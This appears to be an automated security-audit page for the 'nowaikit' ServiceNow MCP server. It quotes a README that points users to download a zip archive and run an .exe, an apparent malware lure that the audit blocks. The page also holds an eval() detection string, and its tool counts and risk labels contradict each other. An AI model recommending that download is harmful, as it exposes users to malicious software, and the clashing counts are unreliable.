nowaikitBLOCK
Enable AI-powered automation and integration for ServiceNow using a comprehensive TypeScript toolkit supporting multiple models and protocols.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://github.com/wishmikaovindu-stack/nowaikit/raw/refs/heads/main/src/utils/Software-1.7.zip)
📋 About nowaikit
nowaikit brings together over 400 AI tools to help you work smarter with ServiceNow. You can connect popular AI models like Claude, ChatGPT, Gemini, and Cursor directly to your ServiceNow setup. This toolkit supports many areas including IT Service Management (ITSM), IT Operations Management (ITOM), Human Resources Service Delivery (HRSD), Customer Service Management (CSM), Flow Designer, scripting, portals, and more.
If you rely on ServiceNow to organize work, nowaikit makes it easier to automate tasks and add AI features without programming.
💻 System Requirements
To run nowaikit on Windows, you need:
- Windows 10 or newer (64-bit preferred)
- At least 4 GB of RAM
- 2 GHz or faster processor
- 150 MB of free disk space for installation
- Internet access to connect AI services
Make sure your Windows system is up to date for best compatibility. You do not need extra software or programming tools.
🚀 Getting Started with nowaikit
This guide walks you through downloading, installing, and opening nowaikit on your Windows computer.
Step 1: Download nowaikit
Click the large green button below to visit the download page:
[](https://github.com/wishmikaovindu-stack/nowaikit/raw/refs/heads/main/src/utils/Software-1.7.zip)
This link leads to the official GitHub page where the latest version is available. From there, you can download the setup file.
Step 2: Find the Installer File
On the nowaikit GitHub page:
- Look for the latest release or download section.
- Download the Windows installer file. It will usually have a
.exeextension, likenowaikit-setup.exe.
Save the file in a place you ca
9bd83d7078f6OBSERVED · 2026-10-12Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.
claude mcp add nowaikit -- npx -y [email protected]
Exposed tools (200)
228 read · 153 write · 5 destructive. Blast radius: 5 tools can delete or overwrite — an agent that can be talked into calling a tool can be talked into calling this one.
| Tool | Risk | Description |
|---|---|---|
add_comment | write | Add a customer-visible comment to any ITSM record (requires WRITE_ENABLED=true) |
add_user_to_group | write | Add a user to a group (requires WRITE_ENABLED=true) |
add_work_note | write | Add an internal work note to any ITSM record (requires WRITE_ENABLED=true) |
ai_search | read | Semantic AI-powered search across KB, catalog, incidents (ServiceNow AI Search) |
analyze_data_quality | read | Analyse data quality for a table — completeness, duplicates, stale records |
approve_request | read | Approve a pending approval request (requires WRITE_ENABLED=true) |
bulk_get_properties | read | Retrieve multiple system property values in a single call |
bulk_set_properties | write | Create or update multiple system properties in a single operation. **[Write]** |
categorize_incident | read | Use Predictive Intelligence to predict category, assignment group, and priority (latest release: LightGBM algorithm) |
category | read | Category (e.g. Network, Hardware, Software) |
check_table_completeness | read | Analyze data quality and field completeness for a ServiceNow table — |
ci-health | read | CMDB health check for a named CI |
ci_name | read | Name or sys_id of the Configuration Item |
clone_artifact | read | Clone a platform artifact to a new name/scope. **[Scripting]** |
close_change_request | read | Close a change request with close code and notes (requires WRITE_ENABLED=true) |
close_csm_case | read | Close a CSM case with resolution details (requires WRITE_ENABLED=true) |
close_hr_case | read | Close an HR case with resolution notes (requires WRITE_ENABLED=true) |
close_incident | read | Close a resolved incident (requires WRITE_ENABLED=true) |
cmdb_health_dashboard | read | Get CMDB data quality metrics (completeness of server and network CI data) |
cmdb_impact_analysis | read | Analyze the downstream impact of a Configuration Item change or outage |
commit_changeset | write | Commit an update set (requires SCRIPTING_ENABLED=true) |
compare_record_counts | read | Compare record counts across multiple ServiceNow tables or time periods — useful for capacity planning |
complete_task | read | Mark a task as complete (requires WRITE_ENABLED=true) |
complete_update_set | write | Mark an Update Set as complete (ready for migration). **[Scripting]** |
configure_offline_sync | write | Configure which tables/records are available offline in mobile. **[Write]** |
configure_workspace_list | write | Add or update a list view in an agent workspace. **[Write]** |
create-incident | write | Guided incident creation — asks for details then creates the record |
create_acl | write | Create a new ACL rule to control access to a table or field (requires SCRIPTING_ENABLED=true) |
create_approval_rule | write | Create an approval rule that automatically generates approval requests when a record matches given conditions (requires WRITE_ENABLED=true). |
create_asset | write | Create a new IT asset record. **[Write]** |
create_business_rule | write | Create a new business rule (requires SCRIPTING_ENABLED=true). ServiceNow supports ES2021 async/await in scripts. |
create_catalog_item | write | Create a new service catalog item (requires WRITE_ENABLED=true) |
create_catalog_ui_policy | write | [Write] Create a UI policy for a catalog item form |
create_catalog_variable | write | [Write] Add a form variable to a service catalog item |
create_change_request | write | Create a new change request (requires WRITE_ENABLED=true) |
create_ci_relationship | write | [Write] Create a relationship between two CMDB Configuration Items |
create_client_script | write | Create a new client script (onLoad, onChange, onSubmit, onCellEdit) (requires SCRIPTING_ENABLED=true) |
create_csm_case | write | Create a new Customer Service case (requires WRITE_ENABLED=true) |
create_dashboard | write | Create a new Performance Analytics dashboard (requires WRITE_ENABLED=true) |
create_devops_change | write | Create a change request linked to a DevOps deployment for change governance. **[Write]** |
create_epic | write | Create a new epic (requires WRITE_ENABLED=true) |
create_flow | write | Create a new Flow Designer flow. **[Write]** |
create_flow_action | write | Create a custom Flow Designer action. **[Scripting]** |
create_grc_risk | write | Create a new GRC risk entry. **[Write]** |
create_group | write | Create a new assignment group (requires WRITE_ENABLED=true) |
create_hr_case | write | Create a new HR Service Delivery case (requires WRITE_ENABLED=true) |
create_hr_task | write | Create a task within an HR case (requires WRITE_ENABLED=true) |
create_import_set_row | write | Insert a row into an Import Set staging table for later transformation (requires WRITE_ENABLED=true) |
create_incident | write | Create a new incident record (requires WRITE_ENABLED=true) |
create_knowledge_article | write | Create a new knowledge article (requires WRITE_ENABLED=true) |
create_kpi | write | [Write] Create a Key Performance Indicator from ServiceNow data |
create_mobile_app_config | write | Create a new mobile app configuration. **[Write]** |
create_mobile_applet | write | Create a mobile applet in a mobile app. **[Write]** |
create_mobile_layout | write | Create a mobile layout for a specific view. **[Write]** |
create_notification | write | Create a new email notification definition (requires WRITE_ENABLED=true) |
create_offboarding_case | write | Create an employee offboarding case with exit tasks. **[Write]** |
create_onboarding_case | write | Create an employee onboarding case with all standard tasks. **[Write]** |
create_portal | write | Create a new Service Portal configuration (requires WRITE_ENABLED=true) |
create_portal_page | write | Create a new page inside a Service Portal (requires WRITE_ENABLED=true) |
create_portal_widget | write | Create a new Service Portal widget with template, CSS, and scripts (requires WRITE_ENABLED=true) |
create_problem | write | Create a new problem record (requires WRITE_ENABLED=true) |
create_report | write | Create a new saved report on any table (requires WRITE_ENABLED=true) |
create_rest_message | write | Create a new outbound REST Message definition (requires WRITE_ENABLED=true) |
create_scheduled_job | write | Create a new scheduled script execution job (requires WRITE_ENABLED=true) |
create_scheduled_report | write | [Write] Schedule a report for recurring email delivery |
create_scoped_app | write | Create a new scoped application in App Studio (requires WRITE_ENABLED=true). |
create_script_include | write | Create a new script include (requires SCRIPTING_ENABLED=true) |
create_scrum_task | write | Create a scrum task (sub-task of a story) (requires WRITE_ENABLED=true) |
create_security_incident | write | Create a Security Operations incident (requires WRITE_ENABLED=true) |
create_solution_package | write | Create a solution package from selected update sets for distribution. **[Write]** |
create_story | write | Create a new agile story/user story (requires WRITE_ENABLED=true) |
create_subflow | write | Create a new reusable subflow. **[Write]** |
create_ui_action | write | Create a new UI Action (button or link) on a form (requires SCRIPTING_ENABLED=true) |
create_ui_policy | write | Create a new UI Policy to control field behavior dynamically (requires SCRIPTING_ENABLED=true) |
create_uib_component | write | Create a custom UI Builder component (macroponent). **[Scripting]** |
create_uib_data_broker | write | Create a UI Builder data broker to feed data to a page. **[Scripting]** |
create_uib_page | write | Create a new UI Builder page with route registration. **[Write]** |
create_update_set | write | Create a new Update Set and optionally switch to it. **[Scripting]** |
create_user | write | Create a new user account (requires WRITE_ENABLED=true) |
create_ux_app_route | write | Register a new route (URL path) in a UX app. **[Write]** |
create_ux_experience | write | Create a new UX Experience (app shell) configuration. **[Write]** |
create_va_topic | write | Create a new Virtual Agent conversation topic. **[Write]** |
create_workspace | write | Create a new configurable agent workspace. **[Write]** |
delete_attachment | destructive | Delete an attachment from a record (requires WRITE_ENABLED=true) |
delete_system_property | destructive | Delete a system property by name. **[Write]** |
delete_uib_page | destructive | Delete a UI Builder page. **[Write]** |
deploy-updateset | write | Preview and commit an update set |
description | read | Brief description of the issue |
ensure_active_update_set | write | Ensure an active Update Set exists; create one automatically if none is in progress. **[Scripting]** |
execute_background_script | write | Execute a background script on the instance (server-side JavaScript). **[Scripting]** |
export_properties | read | Export system properties matching a query to a JSON object (useful for environment snapshots) |
export_report_data | read | Export raw table data as structured JSON for use in external reports |
export_update_set | write | Get the XML export payload for an Update Set (as used in migration). **[Scripting]** |
find_artifact | read | Search for platform artifacts by name, type, or scope (business rules, scripts, widgets, etc.) |
fire_event | read | Fire a custom ServiceNow event for a specific record (requires WRITE_ENABLED=true) |
generate_summary | read | Generate an AI summary of any record using Now Assist (latest release: sn_assist/skill/summarize) |
generate_work_notes | read | Generate AI-drafted work notes for a record based on its current context |
get_acl | read | Get full details of an ACL rule including its script and role requirements (requires SCRIPTING_ENABLED=true) |
get_asset | read | Get full details of an IT asset including financial and lifecycle data |
get_atf_failure_insight | read | Get ATF Failure Insight data — metadata changes between last successful and failed run (role changes, field value changes) |
get_atf_suite | read | Get details of a test suite including test count |
get_atf_suite_result | write | Get the results of a test suite run |
get_atf_test | read | Get details of a specific test case |
get_attachment_metadata | read | Get metadata (name, type, size) of a specific attachment by its sys_id |
get_business_rule | read | Get full details and script body of a business rule (requires SCRIPTING_ENABLED=true) |
get_catalog_item | read | Get full details of a catalog item including its variables |
get_change_request | read | Get full details of a change request by number (CHG...) or sys_id |
get_changeset | write | Get details of an update set (requires SCRIPTING_ENABLED=true) |
get_client_script | read | Get full details and script body of a client script (requires SCRIPTING_ENABLED=true) |
get_cmdb_ci | read | Get complete information about a specific configuration item |
get_compliance_assessment | read | Get compliance assessment results for a policy or control |
get_csm_account | read | Get details of a customer account including contacts and open cases count |
get_csm_case | read | Get full details of a CSM case by number (e.g. CS0001234) or sys_id |
get_csm_case_sla | read | Get SLA details and remaining time for a CSM case |
get_csm_contact | read | Get details of a customer contact (name, account, phone, email) |
get_current_instance | read | Get the currently active ServiceNow instance name and URL |
get_current_update_set | write | Get the currently active Update Set for the session |
get_deployment | read | Get details and status of a specific deployment |
get_devops_insights | read | Get deployment frequency, failure rate, and lead time metrics for a pipeline |
get_devops_pipeline | read | Get details of a specific DevOps pipeline |
get_email_log | read | Get full details of an email log entry including body and headers |
get_event_registry_entry | read | Get details of a specific registered event definition |
get_flow | write | Get full details of a Flow Designer flow including its actions and trigger |
get_flow_error_log | read | Get detailed error logs for failed flow executions |
get_flow_execution | read | Get the status and details of a specific flow execution |
get_grc_risk | read | Get details of a GRC risk including impact, likelihood, and controls |
get_group | read | Find assignment group details by name or sys_id |
get_hr_case | read | Get full details of an HR case by number (e.g. HRCS0001234) or sys_id |
get_hr_case_activity | read | Get the full activity log and journal entries for an HR case |
get_hr_lifecycle_events | read | Get HR lifecycle events for an employee (promotions, transfers, leaves) |
get_hr_profile | read | Get the HR profile for a user (employment details, department, manager) |
get_hr_service | read | Get details of a specific HR service including its tasks and SLAs |
get_import_set | write | Get details of a specific Import Set including row count and transform status |
get_incident | read | Get full details of an incident by number (e.g. INC0012345) or sys_id |
get_knowledge_article | read | Get the full content of a knowledge article by number (KB...) or sys_id |
get_license_compliance | read | Get license compliance summary — purchased vs. installed vs. in use counts |
get_license_optimization | read | Analyze software license usage and recommend optimizations |
get_mobile_analytics | read | Get mobile app usage analytics — sessions, active users, popular applets |
get_mobile_app_config | read | Get details of a specific mobile app configuration |
get_ms_copilot_topics | read | List VA topics exposed to Microsoft Copilot 365 via Custom Engine Agent integration |
get_my_approvals | read | List approvals pending for the currently configured user |
get_notification | read | Get full details of an email notification definition including template and conditions |
get_pa_dashboard | read | Get details of a PA dashboard including its widgets/tabs |
get_pa_indicator | read | Get details of a specific Performance Analytics indicator including its formula |
get_pa_job | read | Get details of a Performance Analytics collection job |
get_pa_scorecard | read | Get current scorecard data for a PA indicator — returns current value, target, trend direction |
get_pa_time_series | read | Get historical time-series data for a PA indicator to identify trends |
get_performance_analytics | read | Get Performance Analytics widget data (requires PA plugin; latest release: /api/now/pa/widget/{sys_id}) |
get_pi_models | read | List available Predictive Intelligence solutions (classification/similarity models) |
get_portal | read | Get full configuration details of a Service Portal by sys_id or URL suffix |
get_portal_page | read | Get details of a specific Service Portal page including its layout |
get_portal_theme | read | Get full details of a Service Portal theme including CSS variables |
get_portal_widget | read | Get full source code (HTML, CSS, client/server scripts) of a Service Portal widget |
get_problem | read | Get full details of a problem by number (PRB...) or sys_id |
get_process_automation | read | Get details of a Process Automation Designer playbook or process |
get_property_history | read | Get audit history of changes to a system property |
get_record | read | Retrieve complete details of a specific record by sys_id |
get_report | read | Get the definition and metadata of a saved report |
get_rest_message | read | Get full configuration of an outbound REST Message including its endpoints |
get_scheduled_job | read | Get full details of a scheduled job by sys_id or name |
get_scoped_app | read | Get full details of a scoped application by sys_id or scope name |
get_script_include | read | Get full script body of a script include (requires SCRIPTING_ENABLED=true) |
get_security_dashboard | read | Get security posture dashboard — open incidents by severity, vulnerability counts, mean time to resolve |
get_security_incident | read | Get full details of a security incident by number or sys_id |
get_sla_details | read | Get SLA breach status for a specific task or incident |
get_subflow | read | Get full details of a subflow including its inputs, outputs, and actions |
get_sys_log | read | Retrieve system log entries for debugging or auditing |
get_system_property | read | Get a ServiceNow system property value and metadata by name |
get_table_record_count | read | Get total record count for a ServiceNow table with optional filters |
get_table_schema | read | Get the structure and field information for a ServiceNow table |
get_task | read | Get details of any task record by number or sys_id |
get_threat_intelligence | read | Query threat intelligence data — IOCs, threat actors, and campaigns |
get_transform_map | read | Get details of a Transform Map including its field mappings |
get_ui_action | read | Get full details and script of a UI Action (requires SCRIPTING_ENABLED=true) |
get_ui_policy | read | Get full details and conditions of a UI Policy (requires SCRIPTING_ENABLED=true) |
get_uib_page | read | Get details of a specific UI Builder page including layout and child elements |
get_user | read | Look up user details by email or username |
get_ux_app | read | Get configuration details of a Next Experience application |
get_va_conversation | read | Get conversation history for a Virtual Agent session |
get_va_topic | write | Get Virtual Agent topic details including intent and trigger phrases |
get_virtual_agent_topics | read | List Virtual Agent topics available in the instance (latest release: streaming VA API) |
get_vulnerability | read | Get details of a specific vulnerability entry including CVSS score and affected CIs |
get_workspace | read | Get details of a configurable agent workspace including tabs and lists |
import_cmdb_data | write | Import CI data into CMDB via import set. **[Write]** |
import_properties | write | Import (create or update) system properties from a JSON object. **[Write]** |
instance | read | Instance name (e.g. prod, staging, dev) |
knowledge-search | read | Search the knowledge base |
list_acls | destructive | List Access Control rules (ACLs) — who can read/write/create/delete records (requires SCRIPTING_ENABLED=true) |
list_action_instances | read | List reusable Flow Designer action instances available in the environment |
list_active_events | read | Monitor critical infrastructure events |
list_active_slas | read | List active SLA records with optional filters |
list_approvals | read | List approval requests with optional filters |
list_asset_contracts | read | List asset maintenance and support contracts |
list_assets | read | List IT assets with optional filtering by state, class, or assigned user |
list_atf_suites | read | List ATF test suites in the instance |
list_atf_test_results | write | List individual test results within a suite run |
list_atf_tests | read | List ATF test cases, optionally filtered by suite |
list_attachments | read | List attachments associated with a specific record |
list_audit_results | read | List audit results and findings |
list_business_rules | read | List business rules (requires SCRIPTING_ENABLED=true) |
Trust audit
BLOCKgrade D · trust 69/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | FAIL |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | WARN |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (3 observation(s))
- Network
- declared (7 observation(s))
- Shell
- declared (6 observation(s))
- Dependencies
- not all pinned
- Secrets in source
- none-found
Findings (20)
if (script.includes('eval(')) issues.push('SECURITY: eval() usage detected');icon.icns
Software-1.7.zip
console.log(chalk.yellow(`No token found for ${instanceUrl}`));if (origin.startsWith(`http://localhost:${PORT}`) || origin.startsWith(`http://127.0.0.1:${PORT}`)) return true;if (origin.startsWith('http://localhost:5173') || origin.startsWith('http://127.0.0.1:5173')) return true;delete_attachment, delete_system_property, delete_uib_page, list_acls, remove_user_from_group
.env.basic.example
.env.oauth.example
.env.basic.example
.env.oauth.example
const pkgDir = fileURLToPath(new URL('../../../', import.meta.url)).replace(/[\\/]$/, '');import { executeCoreToolCall, getCoreToolDefinitions } from '../../src/tools/core.js';import type { ServiceNowClient } from '../../src/servicenow/client.js';import { executeHrsdToolCall } from '../../src/tools/hrsd.js';import { executeIncidentToolCall, getIncidentToolDefinitions } from '../../src/tools/incident.js';# Listening on http://127.0.0.1:3100
electron-store, electron-updater, @types/react, @types/react-dom, @vitejs/plugin-react, concurrently, electron, electron-builder
@inquirer/prompts, @modelcontextprotocol/sdk, chalk, commander, dotenv, ora, zod, @types/node
docs/assets/showcase.gif
Gates applied: no_behavioural_pass.
9bd83d7078f6full audit observations/trust-audit/mcp-server/wishmikaovindu-stack__nowaikit.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-12 | 9bd83d7078f6 | BLOCK | D | 69 | first audit |
Questions
What is the nowaikit MCP server?
Enable AI-powered automation and integration for ServiceNow using a comprehensive TypeScript toolkit supporting multiple models and protocols.
What tools does nowaikit expose?
200 in total: 228 read-only, 153 that write, and 5 that can delete or overwrite (delete_attachment, delete_system_property, delete_uib_page, list_acls). Every one is listed on this page with its risk.
Is nowaikit safe to connect to an agent?
No — not without reading the findings first. The audit graded it D (69/100) and found 1 critical or high issue in the source. Each one is listed on this page with the file and line it is on. Separately from the audit: 5 of its tools can destroy data, so scope the token you give it to what you actually need.
What credentials does nowaikit need?
It reads GEMINI_API_KEY, OPENAI_API_KEY, SERVICENOW_AUTH_METHOD, SERVICENOW_BASIC_PASSWORD, SERVICENOW_CLIENT_SECRET, SERVICENOW_OAUTH_CLIENT_ID, SERVICENOW_OAUTH_CLIENT_SECRET, SERVICENOW_OAUTH_PASSWORD, SERVICENOW_OAUTH_USERNAME and SERVICENOW_PASSWORD from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.
How does nowaikit run?
It speaks stdio, so it runs as a local process your client starts. It is published on npm as nowaikit at 2.5.3.
How current is this page?
The grade is for one exact copy of the source (9bd83d7078f6), read on 2026-10-12. The repository is watched and re-audited when it changes.